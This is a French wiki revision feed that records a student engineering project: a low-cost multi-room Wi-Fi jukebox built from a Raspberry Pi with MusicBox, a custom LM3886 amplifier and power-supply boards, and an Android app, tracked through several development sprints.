[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|450px]]&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_3.png&amp;diff=27112</id>
		<title>Fichier:Principe Alim 3.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_3.png&amp;diff=27112"/>
				<updated>2016-02-13T14:24:22Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_2.png&amp;diff=27111</id>
		<title>Fichier:Principe Alim 2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_2.png&amp;diff=27111"/>
				<updated>2016-02-13T14:24:08Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_1.png&amp;diff=27110</id>
		<title>Fichier:Principe Alim 1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_1.png&amp;diff=27110"/>
				<updated>2016-02-13T14:23:51Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27109</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27109"/>
				<updated>2016-02-13T14:14:23Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Préparation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Amplificateur'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Alimentation'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27108</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27108"/>
				<updated>2016-02-13T14:13:59Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Préparation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
